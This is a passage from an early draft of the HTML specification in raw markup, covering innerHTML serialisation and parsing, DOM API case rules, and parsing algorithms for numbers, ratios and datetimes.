by a       space (U+0020 SPACE), followed by the value of the <var       title="">child</var> node's <code title="">name</code> DOM attribute,       followed by the literal string <code>AMPERSANDgt;</code> (U+003E GREATER-THAN       SIGN).</p>    </dl>    <p>Other nodes types (e.g. <code title="">Attr</code>) cannot occur as     children of elements. If they do, the <code title=dom-innerHTML-HTML><a     href="#innerhtml0">innerHTML</a></code> attribute must raise an     <code>INVALID_STATE_ERR</code> exception.</p>   <li>    <p>The result of the algorithm is the string <var title="">s</var>.  </ol>  <p><dfn id=escapingString>Escaping a string</dfn> (for the purposes of the   algorithm above) consists of replacing any occurances of the "<code   title="">AMPERSANDamp;</code>" character by the string "<code   title="">AMPERSANDamp;amp;</code>", any occurances of the "<code   title="">AMPERSANDlt;</code>" character by the string "<code   title="">AMPERSANDamp;lt;</code>", any occurances of the "<code   title="">AMPERSANDgt;</code>" character by the string "<code   title="">AMPERSANDamp;gt;</code>", and any occurances of the "<code   title="">AMPERSANDquot;</code>" character by the string "<code   title="">AMPERSANDamp;quot;</code>".  <p class=note>Entity reference nodes are <a   href="#entity-references">assumed to be expanded</a> by the user agent,   and are therefore not covered in the algorithm above.  <p class=note>If the element's contents are not conformant, it is possible   that the roundtripping through <code title=dom-innerHTML-HTML><a   href="#innerhtml0">innerHTML</a></code> will not work. For instance, if   the element is a <code>textarea</code> element to which a <code   title="">Comment</code> node has been appended, then assigning <code   title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code> to   itself will result in the comment being displayed in the text field.   Similarly, if, as a result of DOM manipulation, the element contains a   comment that contains the literal string "<code title="">--AMPERSANDgt;</code>",   then when the result of serialising the element is parsed, the comment   will be truncated at that point and the rest of the comment will be   interpreted as markup. Another example would be making a <code><a   href="#script2">script</a></code> element contain a text node with the   text string "<code>AMPERSANDlt;/script></code>".  <p>On setting, if the node is a document, the <code   title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code> DOM   attribute must run the following algorithm:  <ol>   <li>    <p>Otherwise, if the document has an <span>active     parser</span><!--XXX xref-->, then stop that parser, and throw away any     pending content in the input stream. <span class=big-issue>what about if     it doesn't, because it's either like a text/plain, or Atom, or PDF, or     XHTML, or image document, or something?</span></p>    <!-- XXX see also document.open() -->   <li>    <p>The user agent must remove the children nodes of the     <code>Document</code> whose <code title=dom-innerHTML-HTML><a     href="#innerhtml0">innerHTML</a></code> attribute is being set.</p>   <li>    <p>The user agent must create a new <a href="#html-0">HTML parser</a>, in     its initial state, and associate it with the <code>Document</code> node.</p>   </li>   <!-- redundant, the document is forcably already so labelled if we get here   <li>    <p>The user agent must mark the <code>Document</code> object as    being an <span title="HTML documents">HTML document</span>.</p>   </li>-->   <li>    <p>The user agent must place into the <a href="#input0">input stream</a>     for the <a href="#html-0">HTML parser</a> just created the string being     assigned into the <code title=dom-innerHTML-HTML><a     href="#innerhtml0">innerHTML</a></code> attribute.</p>   <li>    <p>The user agent must start the parser and let it run until it has     consumed all the characters just inserted into the input stream. (The     <code>Document</code> node will have been populated with elements and a     <code title=event-load>load</code> event will have fired on <a     href="#the-body0" title="the body element">its body element</a>.)</p>  </ol>  <p>Otherwise, if the node is an element, then setting the <code   title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code> DOM   attribute must cause the following algorithm to run instead:  <ol>   <li>    <p>The user agent must create a new <code>Document</code> node, and mark     it as being an <a href="#html-" title="HTML documents">HTML     document</a>.</p>    <p>The user agent must create a new <a href="#html-0">HTML parser</a>,     and associate it with the just created <code>Document</code> node.</p>    <p class=note>Parts marked <dfn id=innerhtml1 title="innerHTML     case"><code>innerHTML</code> case</dfn> in algorithms in the parser     section are parts that only occur if the parser was created for the     purposes of handling the setting of an element's <code     title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>     attribute. The algorithms have been annotated with such markings for     informational purposes only; such markings have no normative weight. If     it is possible for a condition described as an <a     href="#innerhtml1"><code>innerHTML</code> case</a> to occur even when     the parser wasn't created for the purposes of handling an element's     <code title=dom-innerHTML-HTML><a     href="#innerhtml0">innerHTML</a></code> attribute, then that is an error     in the specification.</p>   <li>    <p>The user agent must set the <a href="#html-0">HTML parser</a>'s <a     href="#tokenisation1">tokenisation</a> stage's <a     href="#content2">content model flag</a> according to the name of the     element whose <code title=dom-innerHTML-HTML><a     href="#innerhtml0">innerHTML</a></code> attribute is being set, as     follows:</p>    <dl class=switch>     <dt>If it is a <code><a href="#title3">title</a></code> or      <code>textarea</code> element     <dd>Set the <a href="#content2">content model flag</a> to      <em>RCDATA</em>.     <dt>If it is a <code><a href="#style0">style</a></code>, <code><a      href="#script2">script</a></code>, <code>xmp</code>, <code><a      href="#iframe0">iframe</a></code>, <code>noembed</code>,      <code>noframes</code>, or <code><a      href="#noscript0">noscript</a></code> element     <dd>Set the <a href="#content2">content model flag</a> to      <em>CDATA</em>.</dd>     <!-- note about noscript: we set it to CDATA here because if     someone is setting innerHTML, then we know scripting is enabled,     so the noscript element will be in CDATA mode -->     <dt>If it is a <code>plaintext</code> element     <dd>Set the <a href="#content2">content model flag</a> to      <em>PLAINTEXT</em>.     <dt>Otherwise     <dd>Set the <a href="#content2">content model flag</a> to      <em>PCDATA</em>.    </dl>   <li>    <p>The user agent must switch the <a href="#html-0">HTML parser</a>'s <a     href="#tree-construction1">tree construction</a> stage to <a     href="#the-main1">the main phase</a>.   <li>    <p>Let <var title="">root</var> be a new <code><a     href="#html0">html</a></code> element with no attributes.</p>   <li>    <p>The user agent must append the element <var title="">root</var> to the     <code>Document</code> node created above.</p>   <li>    <p>The user agent must set up the parser's <a href="#stack">stack of open     elements</a> so that it contains just the single element <var     title="">root</var>.</p>   <li>    <p>The user agent must <a href="#reset" title="reset the insertion mode     appropriately">reset the parser's insertion mode appropriately</a>.</p>   <li>    <p>The user agent must set the parser's <a     href="#form-element"><code>form</code> element pointer</a> to the     nearest node to the element whose <code title=dom-innerHTML-HTML><a     href="#innerhtml0">innerHTML</a></code> attribute is being set that is a     <code>form</code> element (going straight up the ancestor chain, and     including the element itself, if it is a <code>form</code> element), or,     if there is no such <code>form</code> element, to null.</p>   <li>    <p>The user agent must place into the <a href="#input0">input stream</a>     for the <a href="#html-0">HTML parser</a> just created the string being     assigned into the <code title=dom-innerHTML-HTML><a     href="#innerhtml0">innerHTML</a></code> attribute.</p>   <li>    <p>The user agent must start the parser and let it run until it has     consumed all the characters just inserted into the input stream.</p>   <li>    <p>The user agent must remove the children of the element whose <code     title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>     attribute is being set.</p>   <li>    <p>The user agent must move all the child nodes of the <var     title="">root</var> element to the element whose <code     title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>     attribute is being set, preserving their order.</p>  </ol>  <!-- XXX must make sure we spec that innerHTML causes mutation  events to fire, but document.write() doesn't. (the latter is already  req-stated in the parser section, btw) -->  <!-- http://msdn.microsoft.com/workshop/author/dhtml/reference/properties/innerhtml.asp -->  <!-- http://lxr.mozilla.org/seamonkey/source/content/html/content/src/nsGenericHTMLElement.cpp#879       note script execution disabled       http://lxr.mozilla.org/seamonkey/source/content/base/src/nsContentUtils.cpp#3308       http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLElement.cpp#L295       http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLElement.cpp#L242       http://trac.webkit.org/projects/webkit/browser/trunk/WebCore/html/HTMLTokenizer.cpp#L1742   -->  <h4 id=dynamic1><span class=secno>2.5.3. </span>Dynamic markup insertion in   XML</h4>  <p>In an XML context, the <dfn id=document.write1   title=dom-document-write-XML><code>document.write(<var   title="">s</var>)</code></dfn> method must raise an   <code>INVALID_ACCESS_ERR</code> exception.</p>  <!--  For XHTML: content must be well-formed. Where does  it insert? Immediately after the script that called document.write()?</p>  how do we handle async scripts vs sync scripts?Consider:data:text/xml,<script xmlns="http://www.w3.org/1999/xhtml"><![CDATA[ document.write('<foo>Test</foo>'); ]]></script>data:text/xml,<script xmlns="http://www.w3.org/1999/xhtml"><![CDATA[ alert('test'); alert(document.write); try { document.write('<foo>Test</foo>'); alert(document.childNodes.length); } catch (e) { alert(e); } ]]></script>-->  <p>The <dfn id=innerhtml2   title=dom-innerHTML-XML><code>innerHTML</code></dfn> attributes, on the   other hand, in an XML context, are usable.  <p>On getting, the <code title=dom-innerHTML-XML><a   href="#innerhtml2">innerHTML</a></code> DOM attribute on <code><a   href="#htmlelement">HTMLElement</a></code>s and <code><a   href="#htmldocument">HTMLDocument</a></code>s, in an XML context, must   return a namespace-well-formed XML representation of the element or   document. User agents may adjust prefixes and namespace declarations in   the serialisation (and indeed might be forced to do so in some cases to   obtain namespace-well-formed XML). <a href="#refsXML">[XML]</a> <a   href="#refsXMLNS">[XMLNS]</a>  <p>On setting, if the node is a document, the <code   title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code> DOM   attribute on must run the following algorithm:  <ol>   <li>    <p>The user agent must remove the children nodes of the     <code>Document</code> whose <code title=dom-innerHTML-XML><a     href="#innerhtml2">innerHTML</a></code> attribute is being set.</p>   <li>    <p>The user agent must create a new <span>XML parser</span>.</p>   <li>    <p>If the <code title=dom-innerHTML-XML><a     href="#innerhtml2">innerHTML</a></code> attribute is being set on an     element, the user agent must <span>feed the parser</span> just created     the string corresponding to the start tag of that element, declaring all     the namespace prefixes that are in scope on that element in the DOM, as     well as declaring the default namespace (if any) that is in scope on     that element in the DOM.</p>   <li>    <p>The user agent must <span>feed the parser</span> just created the     string being assigned into the <code title=dom-innerHTML-HTML><a     href="#innerhtml0">innerHTML</a></code> attribute.</p>   <li>    <p>If the <code title=dom-innerHTML-XML><a     href="#innerhtml2">innerHTML</a></code> attribute is being set on an     element, the user agent must <span>feed the parser</span> the string     corresponding to the end tag of that element.</p>   <li>    <p>If the parser found a well-formedness error, the attribute's setter     must raise a <code>SYNTAX_ERR</code> exception and abort these steps.</p>   <li>    <p>Otherwise, the user agent must take the children of the document, if     the attribute is being set on a <code>Document</code> node, or of the     document's root element, if the attribute is being set on an     <code>Element</code> node, and append them to the node whose <code     title=dom-innerHTML-HTML><a href="#innerhtml0">innerHTML</a></code>     attribute is being set, preserving their order.</p>  </ol>  <h3 id=apis-in><span class=secno>2.6. </span>APIs in HTML documents</h3>  <!-- XXX case-sensitivity training required here. -->  <p>For <a href="#html-">HTML documents</a>, and for <a   href="#html-elements">HTML elements</a> in <a href="#html-">HTML   documents</a>, certain APIs defined in DOM3 Core become case-insensitive   or case-changing, as sometimes defined in DOM3 Core, and as summarised or   required below. <a href="#refsDOM3CORE">[DOM3CORE]</a>.  <p>This does not apply to <a href="#xml-documents">XML documents</a> or to   elements that are not in the <a href="#html-namespace0">HTML namespace</a>   despite being in <a href="#html-">HTML documents</a>.  <dl>   <dt><code title="">Element.tagName</code>, <code    title="">Node.nodeName</code>, and <code title="">Node.localName</code>   <dd>    <p>These attributes return tag names in all uppercase<!-- XXX    xref-->,     regardless of the case with which they were created.</p>   <dt><code title="">Document.createElement()</code>   <dd>    <p>The canonical form of HTML markup is all-lowercase; thus, this method     will lowercase<!-- XXX xref --> the argument before creating the     requisite element. Also, the element created must be in the <a     href="#html-namespace0">HTML namespace</a>.</p>    <p class=note>This doesn't apply to <code     title="">Document.createElementNS()</code>. Thus, it is possible, by     passing this last method a tag name in the wrong case, to create an     element that claims to have the tag name of an HTML element, but doesn't     support its interfaces, because it really has another tag name not     accessible from the DOM APIs.</p>   <dt><code title="">Element.setAttributeNode()</code>   <dd>    <p>When an <code>Attr</code> node is set on an <a href="#html-elements"     title="HTML elements">HTML element</a>, it must have its name     lowercased<!-- XXX xref --> before the element is affected.</p>    <p class=note>This doesn't apply to <code     title="">Document.setAttributeNodeNS()</code>.</p>   <dt><code title="">Element.setAttribute()</code>   <dd>    <p>When an attribute is set on an <a href="#html-elements" title="HTML     elements">HTML element</a>, the name argument must be     lowercased<!-- XXX xref    --> before the element is affected.</p>    <p class=note>This doesn't apply to <code     title="">Document.setAttributeNS()</code>.</p>   <dt><code title="">Document.getElementsByTagName()</code> and <code    title="">Element.getElementsByTagName()</code>   <dd>    <p>These methods (but not their namespaced counterparts) must compare the     given argument case-insensitively<!-- XXX xref --> when looking at <a     href="#html-elements" title="HTML elements">HTML elements</a>, and     case-sensitively otherwise.</p>    <p class=note>Thus, in an <span>HTML document</span> with nodes in     multiple namespaces, these methods will be both case-sensitive and     case-insensitive at the same time.</p>   <dt><code title="">Document.renameNode()</code>   <dd>    <p>If the new namespace is the <a href="#html-namespace0">HTML     namespace</a>, then the new qualified name must be lowercased before the     rename takes place.<!-- XXX xref --></p>  </dl>  <h2 id=semantics><span class=secno>3. </span>Semantics and structure of   HTML elements</h2>  <h3 id=semantics-intro><span class=secno>3.1. </span>Introduction</h3>  <p><em>This section is non-normative.</em>  <p class=big-issue>An introduction to marking up a document.  <h3 id=common0><span class=secno>3.2. </span>Common microsyntaxes</h3>  <p>There are various places in HTML that accept particular data types, such   as dates or numbers. This section describes what the conformance criteria   for content in those formats is, and how to parse them.  <p class=big-issue>Somewhere we need to define case-sensitivity of   attribute values. e.g. contenteditable="TrUe" in HTML vs XHTML. Same with   leading/trailing whitespace.</p>  <!-- XXX need to define how to handle U+000A LINE FEED and U+000D  CARRIAGE RETURN in attributes (for HTML) -->  <p class=big-issue>Need to go through the whole spec and make sure all the   attribute values are clearly defined either in terms of microsyntaxes or   in terms of other specs, or as "Text" or some such.  <h4 id=common1><span class=secno>3.2.1. </span>Common parser idioms</h4>  <p>The <dfn id=space title="space character">space characters</dfn>, for   the purposes of this specification, are U+0020 SPACE, U+0009 CHARACTER   TABULATION (tab), U+000A LINE FEED (LF), U+000B LINE TABULATION, U+000C   FORM FEED (FF), and U+000D CARRIAGE RETURN (CR).  <p>Some of the micro-parsers described below follow the pattern of having   an <var title="">input</var> variable that holds the string being parsed,   and having a <var title="">position</var> variable pointing at the next   character to parse in <var title="">input</var>.  <p>For parsers based on this pattern, a step that requires the user agent   to <dfn id=collect>collect a sequence of characters</dfn> means that the   following algorithm must be run, with <var title="">characters</var> being   the set of characters that can be collected:  <ol>   <li>    <p>Let <var title="">input</var> and <var title="">position</var> be the     same variables as those of the same name in the algorithm that invoked     these steps.   <li>    <p>Let <var title="">result</var> be the empty string.   <li>    <p>While <var title="">position</var> doesn't point past the end of <var     title="">input</var> and the character at <var title="">position</var>     is one of the <var title="">characters</var>, append that character to     the end of <var title="">result</var> and advance <var     title="">position</var> to the next character in <var     title="">input</var>.   <li>    <p>Return <var title="">result</var>.  </ol>  <p>The step <dfn id=skip-whitespace>skip whitespace</dfn> means that the   user agent must <a href="#collect">collect a sequence of characters</a>   that are <a href="#space" title="space character">space characters</a>.   The step <dfn id=skip->skip Zs characters</dfn> means that the user agent   must <a href="#collect">collect a sequence of characters</a> that are in   the Unicode character class Zs. In both cases, the collected characters   are not used. <a href="#refsUNICODE">[UNICODE]</a>  <p>Similarly, when the algorithms below say to  <h4 id=numbers><span class=secno>3.2.2. </span>Numbers</h4>  <h5 id=unsigned><span class=secno>3.2.2.1. </span>Unsigned integers</h5>  <p>A string is a <dfn id=valid>valid non-negative integer</dfn> if it   consists of one of more characters in the range U+0030 DIGIT ZERO (0) to   U+0039 DIGIT NINE (9).  <p>The <dfn id=rules>rules for parsing non-negative integers</dfn> are as   given in the following algorithm. When invoked, the steps must be followed   in the order given, aborting at the first step that returns a value. This   algorithm will either return zero, a positive integer, or an error.   Leading spaces are ignored. Trailing spaces and indeed any trailing   garbage characters are ignored.  <ol>   <li>    <p>Let <var title="">input</var> be the string being parsed.   <li>    <p>Let <var title="">position</var> be a pointer into <var     title="">input</var>, initially pointing at the start of the string.   <li>    <p>Let <var title="">value</var> have the value 0.   <li>    <p><a href="#skip-whitespace">Skip whitespace.</a>   <li>    <p>If <var title="">position</var> is past the end of <var     title="">input</var>, return an error.   <li>    <p>If the next character is not one of U+0030 DIGIT ZERO (0) .. U+0039     DIGIT NINE (9), then return an error.   </li>   <!-- Ok. At this point we know we have a number. It might have   trailing garbage which we'll ignore, but it's a number, and we   won't return an error. -->   <li>    <p>If the next character is one of U+0030 DIGIT ZERO (0) .. U+0039 DIGIT     NINE (9):</p>    <ol>     <li>Multiply <var title="">value</var> by ten.     <li>Add the value of the current character (0..9) to <var      title="">value</var>.     <li>Advance <var title="">position</var> to the next character.     <li>If <var title="">position</var> is not past the end of <var      title="">input</var>, return to the top of step 7 in the overall      algorithm (that's the step within which these substeps find      themselves).    </ol>   <li>    <p>Return <var title="">value</var>.  </ol>  <h5 id=signed><span class=secno>3.2.2.2. </span>Signed integers</h5>  <p>A string is a <dfn id=valid0>valid integer</dfn> if it consists of one   of more characters in the range U+0030 DIGIT ZERO (0) to U+0039 DIGIT NINE   (9), optionally prefixed with a U+002D HYPHEN-MINUS ("-") character.  <p>The <dfn id=rules0>rules for parsing integers</dfn> are similar to the   rules for non-negative integers, and are as given in the following   algorithm. When invoked, the steps must be followed in the order given,   aborting at the first step that returns a value. This algorithm will   either return an integer or an error. Leading spaces are ignored. Trailing   spaces and trailing garbage characters are ignored.  <ol>   <li>    <p>Let <var title="">input</var> be the string being parsed.   <li>    <p>Let <var title="">position</var> be a pointer into <var     title="">input</var>, initially pointing at the start of the string.   <li>    <p>Let <var title="">value</var> have the value 0.   <li>    <p>Let <var title="">sign</var> have the value "positive".   <li>    <p><a href="#skip-whitespace">Skip whitespace.</a>   <li>    <p>If <var title="">position</var> is past the end of <var     title="">input</var>, return an error.   <li>    <p>If the character indicated by <var title="">position</var> (the first     character) is a U+002D HYPHEN-MINUS ("-") character:</p>    <ol>     <li>Let <var title="">sign</var> be "negative".     <li>Advance <var title="">position</var> to the next character.     <li>If <var title="">position</var> is past the end of <var      title="">input</var>, return an error.    </ol>   <li>    <p>If the next character is not one of U+0030 DIGIT ZERO (0) .. U+0039     DIGIT NINE (9), then return an error.   </li>   <!-- Ok. At this point we know we have a number. It might have   trailing garbage which we'll ignore, but it's a number, and we   won't return an error. -->   <li>    <p>If the next character is one of U+0030 DIGIT ZERO (0) .. U+0039 DIGIT     NINE (9):</p>    <ol>     <li>Multiply <var title="">value</var> by ten.     <li>Add the value of the current character (0..9) to <var      title="">value</var>.     <li>Advance <var title="">position</var> to the next character.     <li>If <var title="">position</var> is not past the end of <var      title="">input</var>, return to the top of step 9 in the overall      algorithm (that's the step within which these substeps find      themselves).    </ol>   <li>    <p>If <var title="">sign</var> is "positive", return <var     title="">value</var>, otherwise return 0-<var title="">value</var>.  </ol>  <h5 id=real-numbers><span class=secno>3.2.2.3. </span>Real numbers</h5>  <p>A string is a <dfn id=valid1>valid floating point number</dfn> if it   consists of one of more characters in the range U+0030 DIGIT ZERO (0) to   U+0039 DIGIT NINE (9), optionally with a single U+002E FULL STOP (".")   character somewhere (either before these numbers, in between two numbers,   or after the numbers), all optionally prefixed with a U+002D HYPHEN-MINUS   ("-") character.  <p>The <dfn id=rules1>rules for parsing floating point number values</dfn>   are as given in the following algorithm. As with the previous algorithms,   when this one is invoked, the steps must be followed in the order given,   aborting at the first step that returns a value. This algorithm will   either return a number or an error. Leading spaces are ignored. Trailing   spaces and garbage characters are ignored.  <ol>   <li>    <p>Let <var title="">input</var> be the string being parsed.   <li>    <p>Let <var title="">position</var> be a pointer into <var     title="">input</var>, initially pointing at the start of the string.   <li>    <p>Let <var title="">value</var> have the value 0.   <li>    <p>Let <var title="">sign</var> have the value "positive".   <li>    <p><a href="#skip-whitespace">Skip whitespace.</a>   <li>    <p>If <var title="">position</var> is past the end of <var     title="">input</var>, return an error.   <li>    <p>If the character indicated by <var title="">position</var> (the first     character) is a U+002D HYPHEN-MINUS ("-") character:</p>    <ol>     <li>Let <var title="">sign</var> be "negative".     <li>Advance <var title="">position</var> to the next character.     <li>If <var title="">position</var> is past the end of <var      title="">input</var>, return an error.    </ol>   <li>    <p>If the next character is not one of U+0030 DIGIT ZERO (0) .. U+0039     DIGIT NINE (9) or U+002E FULL STOP ("."), then return an error.   <li>    <p>If the next character is U+002E FULL STOP ("."), but either that is     the last character or the character after that one is not one of U+0030     DIGIT ZERO (0) .. U+0039 DIGIT NINE (9), then return an error.   </li>   <!-- Ok. At this point we know we have a number. It might have   trailing garbage which we'll ignore, but it's a number, and we   won't return an error. -->   <li>    <p>If the next character is one of U+0030 DIGIT ZERO (0) .. U+0039 DIGIT     NINE (9):</p>    <ol>     <li>Multiply <var title="">value</var> by ten.     <li>Add the value of the current character (0..9) to <var      title="">value</var>.     <li>Advance <var title="">position</var> to the next character.     <li>If <var title="">position</var> is past the end of <var      title="">input</var>, then if <var title="">sign</var> is "positive",      return <var title="">value</var>, otherwise return 0-<var      title="">value</var>.     <li>Otherwise return to the top of step 10 in the overall algorithm      (that's the step within which these substeps find themselves).    </ol>   <li>    <p>Otherwise, if the next character is not a U+002E FULL STOP ("."), then     if <var title="">sign</var> is "positive", return <var     title="">value</var>, otherwise return 0-<var title="">value</var>.   <li>    <p>The next character is a U+002E FULL STOP ("."). Advance <var     title="">position</var> to the character after that.   <li>    <p>Let <var title="">divisor</var> be 1.   <li>    <p>If the next character is one of U+0030 DIGIT ZERO (0) .. U+0039 DIGIT     NINE (9):</p>    <ol>     <li>Multiply <var title="">divisor</var> by ten.     <li>Add the value of the current character (0..9) divided by <var      title="">divisor</var>, to <var title="">value</var>.     <li>Advance <var title="">position</var> to the next character.     <li>If <var title="">position</var> is past the end of <var      title="">input</var>, then if <var title="">sign</var> is "positive",      return <var title="">value</var>, otherwise return 0-<var      title="">value</var>.     <li>Otherwise return to the top of step 14 in the overall algorithm      (that's the step within which these substeps find themselves).    </ol>   <li>    <p>Otherwise, if <var title="">sign</var> is "positive", return <var     title="">value</var>, otherwise return 0-<var title="">value</var>.  </ol>  <h5 id=ratios><span class=secno>3.2.2.4. </span>Ratios</h5>  <p class=note>The algorithms described in this section are used by the   <code><a href="#progress0">progress</a></code> and <code><a   href="#meter0">meter</a></code> elements.  <p>A <dfn id=valid2>valid denominator punctuation character</dfn> is one of   the characters from the table below. There is <dfn id=a-value   title="values associated with denominator punctuation characters">a value   associated with each denominator punctuation character</dfn>, as shown in   the table below.  <table>   <thead>    <tr>     <th colspan=2>Denominator Punctuation Character     <th>Value   <tbody>    <tr>     <td>U+0025 PERCENT SIGN     <td>AMPERSAND#x0025;     <td>100    <tr>     <td>U+066A ARABIC PERCENT SIGN     <td>AMPERSAND#x066A;     <td>100    <tr>     <td>U+FE6A SMALL PERCENT SIGN     <td>AMPERSAND#xFE6A;     <td>100    <tr>     <td>U+FF05 FULLWIDTH PERCENT SIGN     <td>AMPERSAND#xFF05;     <td>100    <tr>     <td>U+2030 PER MILLE SIGN     <td>AMPERSAND#x2030;     <td>1000    <tr>     <td>U+2031 PER TEN THOUSAND SIGN     <td>AMPERSAND#x2031;     <td>10000  </table>  <p>The <dfn id=steps>steps for finding one or two numbers of a ratio in a   string</dfn> are as follows:  <ol>   <li>If the string is empty, then return nothing and abort these steps.   <li><a href="#find-a">Find a number</a> in the string according to the    algorithm below, starting at the start of the string.   <li>If the sub-algorithm in step 2 returned nothing or returned an error    condition, return nothing and abort these steps.   <li>Set <var title="">number1</var> to the number returned by the    sub-algorithm in step 2.   <li>Starting with the character immediately after the last one examined by    the sub-algorithm in step 2, skip any characters in the string that are    in the Unicode character class Zs (this might match zero characters). <a    href="#refsUNICODE">[UNICODE]</a>   <li>If there are still further characters in the string, and the next    character in the string is a <a href="#valid2">valid denominator    punctuation character</a>, set <var title="">denominator</var> to that    character.   <li>If the string contains any other characters in the range U+0030 DIGIT    ZERO to U+0039 DIGIT NINE, but <var title="">denominator</var> was given    a value in the step 6, return nothing and abort these steps.   <li>Otherwise, if <var title="">denominator</var> was given a value in    step 6, return <var title="">number1</var> and <var    title="">denominator</var> and abort these steps.   <li><a href="#find-a">Find a number</a> in the string again, starting    immediately after the last character that was examined by the    sub-algorithm in step 2.   <li>If the sub-algorithm in step 9 returned nothing or an error condition,    return nothing and abort these steps.   <li>Set <var title="">number2</var> to the number returned by the    sub-algorithm in step 9.   <li>If there are still further characters in the string, and the next    character in the string is a <a href="#valid2">valid denominator    punctuation character</a>, return nothing and abort these steps.   <li>If the string contains any other characters in the range U+0030 DIGIT    ZERO to U+0039 DIGIT NINE, return nothing and abort these steps.   <li>Otherwise, return <var title="">number1</var> and <var    title="">number2</var>.  </ol>  <!-- XXX again, this should say "positive number" -->  <p>The algorithm to <dfn id=find-a>find a number</dfn> is as follows. It is   given a string and a starting position, and returns either nothing, a   number, or an error condition.  <ol>   <li>Starting at the given starting position, ignore all characters in the    given string until the first character that is either a U+002E FULL STOP    or one of the ten characters in the range U+0030 DIGIT ZERO to U+0039    DIGIT NINE.   <li>If there are no such characters, return nothing and abort these steps.   <li>Starting with the character matched in step 1, collect all the    consecutive characters that are either a U+002E FULL STOP or one of the    ten characters in the range U+0030 DIGIT ZERO to U+0039 DIGIT NINE, and    assign this string of one or more characters to <var    title="">string</var>.   <li>If <var title="">string</var> contains more than one U+002E FULL STOP    character then return an error condition and abort these steps.   <li>Parse <var title="">string</var> according to the <a    href="#rules1">rules for parsing floating point number values</a>, to    obtain <var title="">number</var>. This step cannot fail (<var    title="">string</var> is guarenteed to be a <a href="#valid1">valid    floating point number</a>).   <li>Return <var title="">number</var>.  </ol>  <h5 id=percentages-and-dimensions><span class=secno>3.2.2.5.   </span>Percentages and dimensions</h5>  <p class=big-issue><dfn id=valid3 title="valid non-negative   percentage">valid non-negative percentages</dfn>, <dfn id=rules2>rules for   parsing dimension values</dfn>  <h4 id=dates><span class=secno>3.2.3. </span>Dates and times</h4>  <p>In the algorithms below, the <dfn id=number>number of days in month <var   title="">month</var> of year <var title="">year</var></dfn> is:   <em>31</em> if <var title="">month</var> is 1, 3, 5, 7, 8, 10, or 12;   <em>30</em> if <var title="">month</var> is 4, 6, 9, or 11; <em>29</em> if   <var title="">month</var> is 2 and <var title="">year</var> is a number   divisible by 400, or if <var title="">year</var> is a number divisible by   4 but not by 100; and <em>28</em> otherwise. This takes into account leap   years in the Gregorian calendar. <a href="#refsGREGORIAN">[GREGORIAN]</a>  <h5 id=specific><span class=secno>3.2.3.1. </span>Specific moments in time</h5>  <p>A string is a <dfn id=valid4>valid datetime</dfn> if it has four digits   (representing the year), a literal hyphen, two digits (representing the   month), a literal hyphen, two digits (representing the day), optionally   some spaces, either a literal T or a space, optionally some more spaces,   two digits (for the hour), a colon, two digits (the minutes), another   colon, two digits (the integer part of the seconds), optionally a decimal   point followed by one or more digits (for the fractional part of the   seconds), optionally some spaces, and finally either a literal Z   (indicating the time zone is UTC), or, a plus sign or a minus sign   followed by two digits, a colon, and two digits (for the sign, the hours   and minutes of the timezone offset respectively); with the month-day   combination being a valid date in the given year according to the   Gregorian calendar, the hour values (<var title="">h</var>) being in the   range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var title="">h</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;23, the minute   values (<var title="">m</var>) in the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var   title="">m</var>AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;59, and the second value (<var   title="">s</var>) being in the range 0AMPERSANDnbsp;AMPERSANDle;AMPERSANDnbsp;<var   title="">h</var>AMPERSANDnbsp;AMPERSANDlt;AMPERSANDnbsp;60. <a   href="#refsGREGORIAN">[GREGORIAN]</a></p>  <!--XXX [GREGORIAN] should point to  <dd id="refsGREGORIAN">[GREGORIAN]</dd>  <dd>(Non-normative) <cite>Inter Gravissimas</cite>, A. Lilius, C. Clavius. Gregory XIII Papal Bulls, February 1582.</dd>  -->  <p>The digits must be characters in the range U+0030 DIGIT ZERO (0) to   U+0039 DIGIT NINE (9), the hyphens must be a U+002D HYPHEN-MINUS   characters, the T must be a U+0054 LATIN CAPITAL LETTER T, the colons must   be U+003A COLON characters, the decimal point must be a U+002E FULL STOP,   the Z must be a U+005A LATIN CAPITAL LETTER Z, the plus sign must be a   U+002B PLUS SIGN, and the minus U+002D (same as the hyphen).  <div class=example>   <p>The following are some examples of dates written as <a href="#valid4"    title="valid datetime">valid datetimes</a>.</p>   <dl>    <dt>"<code>0037-12-13 00:00 Z</code>"    <dd>Midnight UTC on the birthday of Nero (the Roman Emperor).    <dt>"<code>1979-10-14T12:00:00.001-04:00</code>"    <dd>One millisecond after noon on October 14th 1979, in the time zone in     use on the east coast of North America during daylight saving time.    <dt>"<code>8592-01-01 T 02:09 +02:09</code>"    <dd>Midnight UTC on the 1st of January, 8592. The time zone associated     with that time is two hours and nine minutes ahead of UTC.   </dl>   <p>Several things are notable about these dates:</p>   <ul>    <li>Years with fewer than four digits have to be zero-padded. The date     "37-12-13" would not be a valid date.    <li>To unambiguously identify a moment in time prior to the introduction     of the Gregorian calendar, the date has to be first converted to the     Gregorian calendar from the calendar in use at the time (e.g. from the     Julian calendar). The date of Nero's birth is the 15th of December 37,     in the Julian Calendar, which is the 13th of December 37 in the     Gregorian Calendar.</li>    <!--    XXX this might not be true. I can't find a reference that gives    his birthday with an explicit statement about the calendar being    used. However, it seems unlikely that it would be given in the    Gregorian calendar, so I assume sites use the Julian one. -->    <li>The time and timezone components are not optional.    <li>Dates before the year 0 or after the year 9999 can't be represented     as a datetime in this version of HTML.    <li>Time zones differ based on daylight savings time.   </ul>  </div>  <p class=note>Conformance checkers can use the algorithm below to determine   if a datetime is a valid datetime or not.  <p>To <dfn id=datetime-parser>parse a string as a datetime value</dfn>, a   user agent must apply the following algorithm to the string. This will   either return a time in UTC, with associated timezone information for   round tripping or display purposes, or nothing, indicating the value is   not a <a href="#valid4">valid datetime</a>. If at any point the algorithm   says that it "fails", this means that it returns nothing.  